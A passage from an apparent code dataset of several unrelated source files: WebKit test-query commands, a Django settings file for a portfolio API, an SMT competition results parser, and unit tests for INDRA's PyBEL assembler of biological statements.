sorted(default_port._real_tests(args))\n\n for port_name in port_names:\n if port_name != port_names[0]:\n print()\n print(\"// For %s\" % port_name)\n port = tool.port_factory.get(port_name)\n for test_name in tests:\n self._print_baselines(options, port_name, test_name, port.expected_baselines_by_extension(test_name))\n\n def _print_baselines(self, options, port_name, test_name, baselines):\n for extension in sorted(baselines.keys()):\n baseline_location = baselines[extension]\n if baseline_location:\n print(baseline_location)\n\n def _platform_for_path(self, relpath):\n platform_matchobj = self._platform_regexp.match(relpath)\n if platform_matchobj:\n return platform_matchobj.group(1)\n return None\n\n\nclass FindResolvedBugs(Command):\n name = \"find-resolved-bugs\"\n help_text = \"Collect the RESOLVED bugs in the given TestExpectations file\"\n argument_names = \"TEST_EXPECTATIONS_FILE\"\n\n def execute(self, options, args, tool):\n filename = args[0]\n if not tool.filesystem.isfile(filename):\n print(\"The given path is not a file, please pass a valid path.\")\n return\n\n ids = set()\n inputfile = tool.filesystem.open_text_file_for_reading(filename)\n for line in inputfile:\n result = re.search(\"(https://bugs\\.webkit\\.org/show_bug\\.cgi\\?id=|webkit\\.org/b/)([0-9]+)\", line)\n if result:\n ids.add(result.group(2))\n inputfile.close()\n\n resolved_ids = set()\n num_of_bugs = len(ids)\n bugzilla = Bugzilla()\n for i, bugid in enumerate(ids, start=1):\n bug = bugzilla.fetch_bug(bugid)\n print(\"Checking bug %s \\t [%d/%d]\" % (bugid, i, num_of_bugs))\n if not bug.is_open():\n resolved_ids.add(bugid)\n\n print(\"Resolved bugs in %s :\" % (filename))\n for bugid in resolved_ids:\n print(\"https://bugs.webkit.org/show_bug.cgi?id=%s\" % (bugid))\n","repo_name":"WebKit/WebKit-http","sub_path":"Tools/Scripts/webkitpy/tool/commands/queries.py","file_name":"queries.py","file_ext":"py","file_size_in_byte":25781,"program_lang":"python","lang":"en","doc_type":"code","stars":5020,"dataset":"github-code","pt":"67"} +{"seq_id":"74472027732","text":"import os\nfrom pathlib import Path\nfrom django.contrib.staticfiles.storage import staticfiles_storage\n\n# Build paths inside the project like this: BASE_DIR / 'subdir'.\nBASE_DIR = Path(__file__).resolve().parent.parent\n\n\n# Quick-start development settings - unsuitable for production\n# See https://docs.djangoproject.com/en/3.2/howto/deployment/checklist/\n\n# SECURITY WARNING: keep the secret key used in production secret!\nSECRET_KEY = os.environ['SECRET_KEY']\n\n# SECURITY WARNING: don't run with debug turned on in production!\nDEBUG = os.environ.get('DJANGO_DEBUG', '') != 'False'\n\nif DEBUG:\n ALLOWED_HOSTS = []\n CORS_ALLOWED_ORIGINS = [\n \"http://localhost:8080\"\n ]\n\nelse:\n ALLOWED_HOSTS = ['api.daniellespencer.dev']\n SECURE_PROXY_SSL_HEADER = ('HTTP_X_FORWARDED_PROTO', 'https')\n CORS_ALLOWED_ORIGINS = [\n \"https://daniellespencer.dev\"\n ]\n\nINSTALLED_APPS = [\n 'jazzmin',\n 'django.contrib.admin',\n 'django.contrib.auth',\n 'django.contrib.contenttypes',\n 'django.contrib.sessions',\n 'django.contrib.messages',\n 'django.contrib.staticfiles',\n 'rest_framework',\n 'health_check',\n 'health_check.db',\n 'users',\n 'django_filters',\n 'phonenumber_field',\n 'drf_spectacular',\n 'rest_framework.authtoken',\n 'corsheaders',\n]\n\nMIDDLEWARE = [\n 'django.middleware.security.SecurityMiddleware',\n 'whitenoise.middleware.WhiteNoiseMiddleware',\n 'django.contrib.sessions.middleware.SessionMiddleware',\n 'corsheaders.middleware.CorsMiddleware',\n 'django.middleware.common.CommonMiddleware',\n 'django.middleware.csrf.CsrfViewMiddleware',\n 'django.contrib.auth.middleware.AuthenticationMiddleware',\n 'django.contrib.messages.middleware.MessageMiddleware',\n 'django.middleware.clickjacking.XFrameOptionsMiddleware',\n]\n\nROOT_URLCONF = 'portfolio.urls'\n\nTEMPLATES = [\n {\n 'BACKEND': 'django.template.backends.django.DjangoTemplates',\n 'DIRS': [\n os.path.join(BASE_DIR, \"templates\"),\n ],\n 'APP_DIRS': True,\n 'OPTIONS': {\n 'context_processors': [\n 'django.template.context_processors.debug',\n 'django.template.context_processors.request',\n 'django.contrib.auth.context_processors.auth',\n 'django.contrib.messages.context_processors.messages',\n ],\n },\n },\n]\n\nWSGI_APPLICATION = 'portfolio.wsgi.application'\n\n\n# Database\n# https://docs.djangoproject.com/en/3.2/ref/settings/#databases\n\nDATABASES = {\n 'default': {\n 'ENGINE': 'django.db.backends.mysql',\n 'NAME': os.environ['DATABASE_NAME'],\n 'USER': os.environ['DATABASE_USER'],\n 'PASSWORD': os.environ['DATABASE_PASS'],\n 'HOST': os.environ['DATABASE_HOST'],\n 'PORT': 3306,\n }\n\n}\n\n\n# Password validation\n# https://docs.djangoproject.com/en/3.2/ref/settings/#auth-password-validators\n\nAUTH_PASSWORD_VALIDATORS = [\n {\n 'NAME': 'django.contrib.auth.password_validation.UserAttributeSimilarityValidator',\n },\n {\n 'NAME': 'django.contrib.auth.password_validation.MinimumLengthValidator',\n },\n {\n 'NAME': 'django.contrib.auth.password_validation.CommonPasswordValidator',\n },\n {\n 'NAME': 'django.contrib.auth.password_validation.NumericPasswordValidator',\n },\n]\n\n\n# Internationalization\n# https://docs.djangoproject.com/en/3.2/topics/i18n/\n\nLANGUAGE_CODE = 'en-us'\n\nTIME_ZONE = 'UTC'\n\nUSE_I18N = True\n\nUSE_L10N = True\n\nUSE_TZ = True\n\nAUTH_USER_MODEL = 'users.CustomUser'\n\n\n# Static files (CSS, JavaScript, Images)\n# https://docs.djangoproject.com/en/3.2/howto/static-files/\n\nSTATIC_URL = '/static/'\nSTATICFILES_DIRS = [\n os.path.join(BASE_DIR, \"static\"),\n]\nSTATICFILES_STORAGE = 'whitenoise.storage.CompressedManifestStaticFilesStorage'\nSTATIC_ROOT = os.path.join(BASE_DIR, 'staticfiles')\n\n# Default primary key field type\n# https://docs.djangoproject.com/en/3.2/ref/settings/#default-auto-field\n\nDEFAULT_AUTO_FIELD = 'django.db.models.BigAutoField'\n\nJAZZMIN_SETTINGS = {\n 'site_title': 'Portfolio',\n 'site_header': 'Portfolio',\n \"site_icon\": staticfiles_storage.url('images/favicon.png'),\n 'copyright': 'Danielle Spencer',\n 'search_model': 'users.CustomUser',\n \"show_ui_builder\": True,\n \"changeform_format\": \"vertical_tabs\",\n \"related_modal_active\": True,\n 'topmenu_links': [\n {\n \"name\": \"Documentation\",\n \"url\": \"https://api.daniellespencer.dev/documentation\",\n \"new_window\": True\n },\n {\n \"name\": \"Dashboard\",\n \"url\": \"https://dashboard.daniellespencer.dev\",\n \"new_window\": True\n }\n ],\n 'icons': {\n 'users.Customuser': 'fas fa-users',\n 'users.experience': 'fas fa-briefcase',\n 'users.skill': 'fas fa-laptop-code',\n 'users.education': 'fas fa-graduation-cap',\n 'api.question': 'fas fa-question',\n 'api.answer': 'fas fa-voicemail',\n 'users.project': 'fas fa-project-diagram',\n 'users.link': 'fas fa-link',\n 'authtoken.tokenproxy': 'fas fa-key'\n },\n}\n\nREST_FRAMEWORK = {\n 'DEFAULT_PAGINATION_CLASS': 'rest_framework.pagination.LimitOffsetPagination',\n 'PAGE_SIZE': 10,\n 'DEFAULT_PARSER_CLASSES': [\n 'rest_framework.parsers.JSONParser',\n ],\n 'DEFAULT_RENDERER_CLASSES': [\n 'rest_framework.renderers.JSONRenderer'\n ],\n 'DEFAULT_AUTHENTICATION_CLASSES': [\n 'rest_framework.authentication.TokenAuthentication'\n ],\n 'DEFAULT_PERMISSION_CLASSES': [\n 'rest_framework.permissions.IsAuthenticated'\n ],\n 'TEST_REQUEST_DEFAULT_FORMAT': 'json',\n 'DEFAULT_SCHEMA_CLASS': 'drf_spectacular.openapi.AutoSchema',\n 'DEFAULT_FILTER_BACKENDS': [\n 'django_filters.rest_framework.DjangoFilterBackend'\n ],\n 'EXCEPTION_HANDLER': 'drf_pretty_exception_handler.exception_handler',\n}\n\nSPECTACULAR_SETTINGS = {\n 'TITLE': 'Portfolio API',\n 'DESCRIPTION': open(\"templates/documentation.html\", \"r\").read(),\n 'VERSION': '1.0.0',\n 'CONTACT': {\n 'name': 'Danielle Spencer',\n 'url': 'https://daniellespencer.dev',\n 'email': 'hello@daniellespencer.dev'\n },\n 'EXTENSIONS_INFO': {\n 'x-logo': {\n 'url': staticfiles_storage.url('images/logo.png'),\n 'altText': \"Portfolio logo\"\n }\n },\n 'TAGS': [\n {\n \"name\": \"Education\",\n \"description\": \"Users educational information.\"\n },\n {\n \"name\": \"Experience\",\n \"description\": \"Users experience information.\"\n },\n {\n \"name\": \"Skill\",\n \"description\": \"Users skills.\"\n },\n {\n \"name\": \"User\",\n \"description\": \"User personal information including contact information.\"\n }\n ],\n 'SERVE_INCLUDE_SCHEMA': False,\n \"SWAGGER_UI_FAVICON_HREF\": STATIC_URL + \"images/favicon.ico\"\n}\n\nHASHID_FIELD_SALT = os.environ['HASHID_FIELD_SALT']\n","repo_name":"dkspencer/portfolio-backend","sub_path":"portfolio/settings.py","file_name":"settings.py","file_ext":"py","file_size_in_byte":6997,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"67"} +{"seq_id":"5639223469","text":"import glob, csv, json, tqdm\nimport numpy as np\n\nresFile = \"../../data/results-sq.csv\"\n\ndivisions = json.load(open(\"../../data/new-divisions.json\"))\n\nproblems = {subCategory:dict() for track in divisions['track_single_query'].values() for subCategory in track}\n\nreader = csv.reader(open(resFile), delimiter=',')\nheader = reader.__next__()\nfor line in reader:\n if line[-1] == \"starexec-unknown\":\n continue\n e = 0 if line[-1]==line[-2] or line[-2] == \"starexec-unknown\" else -1\n n = 2 if line[-1]==line[-2] else 0\n assert not (e==-1 and n==2), \"Both wrong and right responses\"\n\n w = float(line[-4])\n c = float(line[-5])\n problem = line[1].split(\"/\")\n subCategory = problem[1]\n problem = \"/\".join(problem[1:])\n if problem in problems[subCategory]:\n problems[subCategory][problem][line[3]] = (e,n,w,c)\n else:\n problems[subCategory][problem] = {line[3]:(e,n,w,c)}\n\nfinalProblems = {category:dict() for category in divisions['track_single_query']}\nfinalSolvers = {category:set() for category in divisions['track_single_query']}\nfor division in divisions['track_single_query']:\n for subCategory in divisions['track_single_query'][division]:\n finalProblems[division].update(problems[subCategory])\n\n\nfinalSolvers = json.load(open(\"../../data/solversCompeting.json\"))\ngood = 0\nbad = 0\nfor category in tqdm.tqdm(finalProblems):\n for problem in finalProblems[category]:\n for solver in finalSolvers[category]:\n if solver in finalProblems[category][problem]:\n good+=1\n e, n, w, c = finalProblems[category][problem][solver]\n finalProblems[category][problem][solver] = (2*e + n - w/1300, w)\n else:\n bad+=1\n finalProblems[category][problem][solver] = (-1, 1300)\n solvers = list(finalSolvers[category])\n solvers.sort()\n finalSolvers[category]=solvers\n x = []\n for solver in solvers:\n x.append(finalProblems[category][problem][solver])\n finalProblems[category][problem] = x\n\n\njson.dump(finalProblems,open(\"../../data/smt-CompResults.json\", 'w'))","repo_name":"will-leeson/sibyl","sub_path":"src/data_handlers/smt_result_parser.py","file_name":"smt_result_parser.py","file_ext":"py","file_size_in_byte":2150,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"67"} +{"seq_id":"20607190471","text":"# -*- coding: utf-8 -*-\n\n\"\"\"Tests for the PyBEL assembler.\"\"\"\n\nimport json\n\nimport networkx as nx\nimport pybel.constants as pc\nfrom pybel.dsl import abundance, activity, bioprocess, \\\n complex_abundance, hgvs, pmod, protein, reaction\n\nfrom indra.assemblers.pybel import assembler as pa\nfrom indra.databases import hgnc_client\nfrom indra.statements import *\n\n\ndef id(gene_name):\n return hgnc_client.get_hgnc_id(gene_name)\n\n\nphos_dsl = pmod('Ph', 'Ser', 218)\nub_dsl = pmod('Ub', 'Ser', 218)\negfr_phos_dsl = pmod('Ph', 'Tyr', 1173)\n\nbraf_dsl = protein(namespace='HGNC', name='BRAF', identifier='1097')\nmap2k1_dsl = protein(namespace='HGNC', name='MAP2K1', identifier='6840')\ntp53_dsl = protein(namespace='HGNC', name='TP53', identifier='11998')\nmdm2_dsl = protein(namespace='HGNC', name='MDM2', identifier='6973')\negfr_dsl = protein(namespace='HGNC', name='EGFR', identifier='3236')\n\nchebi_17534 = abundance(namespace='CHEBI', name='D-glucose',\n identifier='17634')\nchebi_4170 = abundance(namespace='CHEBI', name='D-glucopyranose 6-phosphate',\n identifier='4170')\nchebi_17534_to_4170 = reaction(chebi_17534, chebi_4170)\n\ngrb2_dsl = protein(namespace='HGNC', name='GRB2', identifier='4566')\nsos1_dsl = protein(namespace='HGNC', name='SOS1', identifier='11187')\nsos1_phosphorylated_dsl = sos1_dsl.with_variants(pmod('Ph'))\nkras_node = protein(namespace='HGNC', name='KRAS', identifier='6407')\n\negfr_grb2_sos1_complex_dsl = complex_abundance([\n egfr_dsl,\n grb2_dsl,\n sos1_dsl,\n])\n\negfr_grb2_sos1_phos_complex_dsl = complex_abundance([\n egfr_dsl,\n grb2_dsl,\n sos1_phosphorylated_dsl,\n])\n\n\ndef draw(g, filename):\n ag = nx.nx_agraph.to_agraph(g)\n ag.draw(filename, prog='dot')\n\n\ndef get_edge_data(g, u, v):\n assert g.has_edge(u, v)\n data = g.get_edge_data(u, v)\n return list(data.values())[0]\n\n\ndef get_first_edge_data(g):\n return list(g.edges(data=True))[0][2]\n\n\ndef test_simple_modification_no_evidence():\n braf = Agent('BRAF', db_refs={'HGNC': '1097', 'UP': 'P15056'})\n braf_kin = Agent('BRAF', activity=ActivityCondition('kinase', True),\n db_refs={'HGNC': '1097', 'UP': 'P15056'})\n braf_cat = Agent('BRAF', activity=ActivityCondition('catalytic', True),\n db_refs={'HGNC': '1097', 'UP': 'P15056'})\n map2k1 = Agent('MAP2K1', db_refs={'HGNC': '6840', 'UP': 'Q02750'}) # MEK\n stmt1 = Phosphorylation(braf, map2k1, 'S', '218')\n stmt2 = Phosphorylation(braf_kin, map2k1, 'S', '218')\n stmt3 = Ubiquitination(braf_cat, map2k1, 'S', '218')\n # Edge info for subject\n edge1 = None\n edge2 = activity('kin')\n edge3 = activity('cat')\n for stmt, modtuple, subj_edge in ((stmt1, phos_dsl, edge1),\n (stmt2, phos_dsl, edge2),\n (stmt3, ub_dsl, edge3)):\n pba = pa.PybelAssembler([stmt])\n belgraph = pba.make_model()\n assert belgraph.number_of_nodes() == 3, belgraph.number_of_nodes()\n map2k1_mod_dsl = map2k1_dsl.with_variants(modtuple)\n assert set(belgraph) == {braf_dsl, map2k1_dsl, map2k1_mod_dsl}, \\\n (set(belgraph), {braf_dsl, map2k1_dsl, map2k1_mod_dsl})\n assert belgraph.number_of_edges() == 2, belgraph.number_of_edges()\n assert belgraph.has_edge(map2k1_dsl, map2k1_mod_dsl)\n assert belgraph.has_edge(braf_dsl, map2k1_mod_dsl)\n edge_data = get_edge_data(belgraph, braf_dsl, map2k1_mod_dsl)\n assert edge_data[pc.RELATION] == pc.INCREASES\n assert edge_data.get(pc.SUBJECT) == subj_edge\n\n\ndef test_modification_with_evidences():\n braf_kin = Agent('BRAF', activity=ActivityCondition('kinase', True),\n db_refs={'HGNC': '1097', 'UP': 'P15056'})\n mek = Agent('MAP2K1', db_refs={'HGNC': '6840', 'UP': 'Q02750'})\n evidence = Evidence(source_api='test', text='evidence text', pmid='1234', epistemics={\n 'dummy': ['a', 'b'],\n 'scalar': 'yes',\n 'missing': None,\n })\n stmt = Phosphorylation(braf_kin, mek, 'S', '218', evidence=evidence)\n pba = pa.PybelAssembler([stmt])\n belgraph = pba.make_model()\n assert belgraph.number_of_nodes() == 3, belgraph.number_of_nodes()\n assert braf_dsl in belgraph\n map2k1_mod_dsl = map2k1_dsl.with_variants(phos_dsl)\n assert map2k1_mod_dsl in belgraph\n assert belgraph.number_of_edges() == 2\n edge_data = get_edge_data(belgraph, braf_dsl, map2k1_mod_dsl)\n assert edge_data.get(pc.SUBJECT) == activity('kin')\n assert edge_data[pc.RELATION] == pc.INCREASES\n assert edge_data.get(pc.EVIDENCE) == 'evidence text', edge_data\n assert edge_data[pc.CITATION] == {\n pc.CITATION_DB: pc.CITATION_TYPE_PUBMED,\n pc.CITATION_IDENTIFIER: '1234',\n }\n assert 'source_api' in edge_data[pc.ANNOTATIONS]\n assert 'test' in edge_data[pc.ANNOTATIONS]['source_api']\n assert 'source_id' not in edge_data[pc.ANNOTATIONS]\n assert 'source_hash' in edge_data[pc.ANNOTATIONS]\n assert 'dummy' in edge_data[pc.ANNOTATIONS]\n assert 'a' in edge_data[pc.ANNOTATIONS]['dummy']\n assert 'b' in edge_data[pc.ANNOTATIONS]['dummy']\n assert 'scalar' in edge_data[pc.ANNOTATIONS]\n assert 'yes' in edge_data[pc.ANNOTATIONS]['scalar']\n assert 'missing' not in edge_data[pc.ANNOTATIONS]\n\n\ndef test_modification_with_mutation():\n braf = Agent('BRAF', mutations=[MutCondition('600', 'V', 'E')],\n db_refs={'HGNC': '1097', 'UP': 'P15056'})\n mek = Agent('MAP2K1', db_refs={'HGNC': '6840', 'UP': 'Q02750'})\n stmt = Phosphorylation(braf, mek, 'S', '218')\n pba = pa.PybelAssembler([stmt])\n belgraph = pba.make_model()\n # Adds in the base protein nodes as well as the variants (so 4 nodes)\n assert belgraph.number_of_nodes() == 4, belgraph.number_of_nodes()\n braf_mut_dsl = braf_dsl.with_variants(hgvs('p.Val600Glu'))\n assert braf_mut_dsl in belgraph\n\n\ndef test_activation():\n braf_no_act = Agent('BRAF', db_refs={'HGNC': '1097', 'UP': 'P15056'})\n braf_kin = Agent('BRAF', activity=ActivityCondition('kinase', True),\n db_refs={'HGNC': '1097', 'UP': 'P15056'})\n mek = Agent('MAP2K1', db_refs={'HGNC': '6840', 'UP': 'Q02750'})\n stmt1 = Activation(braf_no_act, mek)\n stmt2 = Activation(braf_kin, mek, 'kinase')\n hash1 = stmt1.get_hash(refresh=True)\n hash2 = stmt2.get_hash(refresh=True)\n edge1 = {\n pc.RELATION: pc.INCREASES,\n pc.OBJECT: activity(),\n pc.ANNOTATIONS: {\n 'stmt_hash': {hash1: True},\n 'uuid': {stmt1.uuid: True},\n 'belief': {stmt1.belief: True},\n },\n }\n edge2 = {\n pc.RELATION: pc.INCREASES,\n pc.SUBJECT: activity('kin'),\n pc.OBJECT: activity('kin'),\n pc.ANNOTATIONS: {\n 'stmt_hash': {hash2: True},\n 'uuid': {stmt2.uuid: True},\n 'belief': {stmt2.belief: True},\n },\n }\n for stmt, edge in ((stmt1, edge1), (stmt2, edge2)):\n pba = pa.PybelAssembler([stmt])\n belgraph = pba.make_model()\n assert belgraph.number_of_nodes() == 2, belgraph.number_of_nodes()\n assert braf_dsl in belgraph\n assert map2k1_dsl in belgraph\n assert belgraph.number_of_edges() == 1\n edge_data = get_first_edge_data(belgraph)\n assert edge_data == edge, edge_data\n\n\ndef test_direct_activation():\n braf_no_act = Agent('BRAF', db_refs={'HGNC': '1097', 'UP': 'P15056'})\n braf_kin = Agent('BRAF', activity=ActivityCondition('kinase', True),\n db_refs={'HGNC': '1097', 'UP': 'P15056'})\n mek = Agent('MAP2K1', db_refs={'HGNC': '6840', 'UP': 'Q02750'})\n stmt1_ev = Evidence(\n pmid='1234',\n epistemics={'direct': True},\n )\n stmt1 = Activation(braf_no_act, mek, evidence=stmt1_ev)\n stmt2 = Activation(braf_kin, mek, 'kinase', evidence=stmt1_ev)\n hash1 = stmt1.get_hash(refresh=True)\n hash2 = stmt2.get_hash(refresh=True)\n edge1 = {\n pc.RELATION: pc.DIRECTLY_INCREASES,\n pc.OBJECT: activity(),\n pc.EVIDENCE: 'No evidence text.',\n pc.CITATION: {\n pc.CITATION_DB: pc.CITATION_TYPE_PUBMED,\n pc.CITATION_IDENTIFIER: '1234',\n },\n pc.ANNOTATIONS: {\n 'stmt_hash': {hash1: True},\n 'source_hash': {stmt1_ev.get_source_hash(): True},\n 'uuid': {stmt1.uuid: True},\n 'belief': {stmt1.belief: True},\n },\n }\n edge2 = {\n pc.RELATION: pc.DIRECTLY_INCREASES,\n pc.SUBJECT: activity('kin'),\n pc.OBJECT: activity('kin'),\n pc.EVIDENCE: 'No evidence text.',\n pc.CITATION: {\n pc.CITATION_DB: pc.CITATION_TYPE_PUBMED,\n pc.CITATION_IDENTIFIER: '1234',\n },\n pc.ANNOTATIONS: {\n 'stmt_hash': {hash2: True},\n 'source_hash': {stmt1_ev.get_source_hash(): True},\n 'uuid': {stmt2.uuid: True},\n 'belief': {stmt2.belief: True},\n },\n }\n for stmt, expected_edge in ((stmt1, edge1), (stmt2, edge2)):\n pba = pa.PybelAssembler([stmt])\n belgraph = pba.make_model()\n assert belgraph.number_of_nodes() == 2, belgraph.number_of_nodes()\n assert braf_dsl in belgraph\n assert map2k1_dsl in belgraph\n assert belgraph.number_of_edges() == 1\n edge_data = get_first_edge_data(belgraph)\n assert expected_edge == edge_data, json.dumps(edge_data, indent=1)\n\n\ndef test_inhibition():\n braf_kin = Agent('BRAF', activity=ActivityCondition('kinase', True),\n db_refs={'HGNC': '1097', 'UP': 'P15056'})\n mek = Agent('MAP2K1', db_refs={'HGNC': '6840', 'UP': 'Q02750'})\n stmt = Inhibition(braf_kin, mek, 'kinase')\n stmt_hash = stmt.get_hash(refresh=True)\n edge = {\n pc.RELATION: pc.DECREASES,\n pc.SUBJECT: activity('kin'),\n pc.OBJECT: activity('kin'),\n pc.ANNOTATIONS: {\n 'stmt_hash': {stmt_hash: True},\n 'uuid': {stmt.uuid: True},\n 'belief': {stmt.belief: True},\n },\n }\n pba = pa.PybelAssembler([stmt])\n belgraph = pba.make_model()\n assert belgraph.number_of_nodes() == 2, belgraph.number_of_nodes()\n assert braf_dsl in belgraph\n assert map2k1_dsl in belgraph\n assert belgraph.number_of_edges() == 1\n edge_data = get_first_edge_data(belgraph)\n assert edge_data == edge, edge_data\n\n\ndef test_increase_amount():\n tp53 = Agent('TP53', db_refs={'HGNC': '11998'})\n mdm2 = Agent('MDM2', db_refs={'HGNC': '6973'})\n\n stmt = IncreaseAmount(tp53, mdm2)\n pba = pa.PybelAssembler([stmt])\n belgraph = pba.make_model()\n assert belgraph.number_of_nodes() == 2, belgraph.number_of_nodes()\n assert mdm2_dsl in belgraph\n assert tp53_dsl in belgraph\n assert belgraph.number_of_edges() == 1\n edge_data = get_first_edge_data(belgraph)\n assert edge_data[pc.RELATION] == pc.INCREASES\n\n\ndef test_increase_amount_tscript():\n tp53 = Agent('TP53', activity=ActivityCondition('transcription', True),\n db_refs={'HGNC': '11998'})\n mdm2 = Agent('MDM2', db_refs={'HGNC': '6973'})\n\n stmt = IncreaseAmount(tp53, mdm2)\n pba = pa.PybelAssembler([stmt])\n belgraph = pba.make_model()\n assert belgraph.number_of_nodes() == 2, belgraph.number_of_nodes()\n assert mdm2_dsl in belgraph\n assert tp53_dsl in belgraph\n assert belgraph.number_of_edges() == 1\n edge_data = get_first_edge_data(belgraph)\n assert edge_data[pc.RELATION] == pc.INCREASES\n assert edge_data[pc.SUBJECT] == activity('tscript')\n\n\ndef test_gef():\n gef = Agent('SOS1', mods=[ModCondition('phosphorylation')],\n db_refs={'HGNC': '11187'})\n ras = Agent('KRAS', db_refs={'HGNC': '6407'})\n stmt = Gef(gef, ras)\n stmt_hash = stmt.get_hash(refresh=True)\n pba = pa.PybelAssembler([stmt])\n belgraph = pba.make_model()\n assert len(belgraph) == 3\n assert belgraph.number_of_edges() == 2\n\n gef_reference_node = protein(\n namespace='HGNC', name='SOS1', identifier='11187')\n gef_node = gef_reference_node.with_variants(pmod('Ph'))\n assert gef_reference_node in belgraph\n assert gef_node in belgraph\n assert kras_node in belgraph\n\n edge_data = get_edge_data(belgraph, gef_node, kras_node)\n edge = {\n pc.RELATION: pc.DIRECTLY_INCREASES,\n pc.SUBJECT: activity('gef'),\n pc.OBJECT: activity('gtp'),\n pc.ANNOTATIONS: {\n 'stmt_hash': {stmt_hash: True},\n 'uuid': {stmt.uuid: True},\n 'belief': {stmt.belief: True},\n },\n }\n assert edge_data == edge, edge_data\n\n\ndef test_gap():\n gap = Agent('RASA1', mods=[ModCondition('phosphorylation')],\n db_refs={'HGNC': '9871'})\n ras = Agent('KRAS', db_refs={'HGNC': '6407'})\n stmt = Gap(gap, ras)\n stmt_hash = stmt.get_hash(refresh=True)\n pba = pa.PybelAssembler([stmt])\n belgraph = pba.make_model()\n assert len(belgraph) == 3\n assert belgraph.number_of_edges() == 2\n\n gap_reference_node = protein(\n namespace='HGNC', name='RASA1', identifier='9871')\n gap_node = gap_reference_node.with_variants(pmod('Ph'))\n ras_node = protein(namespace='HGNC', name='KRAS', identifier='6407')\n\n assert gap_reference_node in belgraph\n assert gap_node in belgraph\n assert ras_node in belgraph\n edge_data = get_edge_data(belgraph, gap_node, ras_node)\n edge = {\n pc.RELATION: pc.DIRECTLY_DECREASES,\n pc.SUBJECT: activity('gap'),\n pc.OBJECT: activity('gtp'),\n pc.ANNOTATIONS: {\n 'stmt_hash': {stmt_hash: True},\n 'uuid': {stmt.uuid: True},\n 'belief': {stmt.belief: True},\n },\n }\n assert edge_data == edge, edge_data\n\n\ndef test_active_form():\n ras = Agent('KRAS', mutations=[MutCondition('12', 'G', 'V')],\n db_refs={'HGNC': '6407'})\n mapk1_p = Agent('MAP2K1',\n mods=[ModCondition('phosphorylation', 'T', '185')],\n db_refs={'HGNC': hgnc_client.get_hgnc_id('MAP2K1')})\n mapk1_pp = Agent('MAP2K1',\n mods=[ModCondition('phosphorylation', 'T', '185'),\n ModCondition('phosphorylation', 'Y', '187')],\n db_refs={'HGNC': hgnc_client.get_hgnc_id('MAP2K1')})\n stmt1 = ActiveForm(ras, 'gtpbound', True)\n stmt2 = ActiveForm(mapk1_p, 'kinase', True)\n stmt3 = ActiveForm(mapk1_pp, 'kinase', True)\n for i, stmt in enumerate((stmt1, stmt2, stmt3)):\n pba = pa.PybelAssembler([stmt])\n belgraph = pba.make_model()\n if i == 2:\n assert len(belgraph) == 3, len(belgraph)\n else:\n assert len(belgraph) == 2, len(belgraph)\n\n\ndef test_complex():\n egfr = Agent('EGFR', db_refs={'HGNC': id('EGFR')})\n grb2 = Agent('GRB2', db_refs={'HGNC': id('GRB2')})\n sos = Agent('SOS1', db_refs={'HGNC': id('SOS1')})\n stmt = Complex([egfr, grb2, sos])\n pba = pa.PybelAssembler([stmt])\n belgraph = pba.make_model()\n # The graph should contain the node for the complex as well as nodes\n # for all of the members\n assert len(belgraph) == 4\n assert egfr_grb2_sos1_complex_dsl in belgraph\n for member in egfr_grb2_sos1_complex_dsl.members:\n assert member in belgraph\n\n\ndef test_rxn_no_controller():\n glu = Agent('D-glucose', db_refs={'CHEBI': 'CHEBI:17634'})\n g6p = Agent('D-glucopyranose 6-phosphate', db_refs={'CHEBI': 'CHEBI:4170'})\n stmt = Conversion(None, [glu], [g6p])\n pba = pa.PybelAssembler([stmt])\n belgraph = pba.make_model()\n # The graph should contain the node for the reaction as well as nodes\n # for all of the members\n assert chebi_17534_to_4170 in belgraph\n for reactant in chebi_17534_to_4170.reactants:\n assert reactant in belgraph\n\n assert belgraph.number_of_nodes() == 3, belgraph.number_of_nodes()\n # TODO check edge chebi_17534_to_4170 hasReactant chebi_17534\n\n for product in chebi_17534_to_4170.products:\n assert product in belgraph\n # TODO check edge chebi_17534_to_4170 hasProduct chebi_4170\n\n\ndef test_rxn_with_controller():\n hk1 = Agent('HK1', db_refs={'HGNC': id('HK1')})\n glu = Agent('D-glucose', db_refs={'CHEBI': 'CHEBI:17634'})\n g6p = Agent('D-glucopyranose 6-phosphate', db_refs={'CHEBI': 'CHEBI:4170'})\n stmt = Conversion(hk1, [glu], [g6p])\n pba = pa.PybelAssembler([stmt])\n belgraph = pba.make_model()\n\n # check the catalyst makes it\n assert protein(namespace='HGNC', name='HK1', identifier=id('HK1')) \\\n in belgraph\n\n # The reaction data should be the same as before\n assert chebi_17534 in belgraph\n assert chebi_4170 in belgraph\n assert chebi_17534_to_4170 in belgraph\n\n # The graph should contain the node for the reaction as well as nodes\n # for all of the members\n assert belgraph.number_of_nodes() == 4, belgraph.number_of_nodes()\n\n\ndef test_autophosphorylation():\n egfr = Agent('EGFR', db_refs={'HGNC': id('EGFR')})\n stmt = Autophosphorylation(egfr, 'Y', '1173')\n stmt_hash = stmt.get_hash(refresh=True)\n pba = pa.PybelAssembler([stmt])\n belgraph = pba.make_model()\n assert len(belgraph) == 2\n assert egfr_dsl in belgraph\n egfr_phos_node = egfr_dsl.with_variants(egfr_phos_dsl)\n assert egfr_dsl in belgraph\n assert egfr_phos_node in belgraph\n assert belgraph.number_of_nodes() == 2\n assert belgraph.number_of_edges() == 2\n # There will be two edges between these nodes\n edge_dicts = list(belgraph.get_edge_data(egfr_dsl,\n egfr_phos_node).values())\n assert {pc.RELATION: pc.DIRECTLY_INCREASES,\n pc.ANNOTATIONS: {\n 'stmt_hash': {stmt_hash: True},\n 'uuid': {stmt.uuid: True},\n 'belief': {stmt.belief: True},\n }} in edge_dicts\n\n # Test an autophosphorylation with a bound condition\n tab1 = Agent('TAB1', db_refs={'HGNC': id('TAB1')})\n p38_tab1 = Agent('MAPK14', bound_conditions=[BoundCondition(tab1)],\n db_refs={'HGNC': id('MAPK14')})\n stmt = Autophosphorylation(p38_tab1, 'Y', '100')\n pba = pa.PybelAssembler([stmt])\n belgraph = pba.make_model()\n assert belgraph.number_of_nodes() == 4\n assert belgraph.number_of_edges() == 4\n\n\ndef test_bound_condition():\n egfr = Agent('EGFR', db_refs={'HGNC': id('EGFR')})\n grb2 = Agent('GRB2', db_refs={'HGNC': id('GRB2')})\n ras = Agent('KRAS', db_refs={'HGNC': '6407'})\n sos1_bound = Agent(\n 'SOS1', mods=[ModCondition('phosphorylation')],\n bound_conditions=[BoundCondition(egfr), 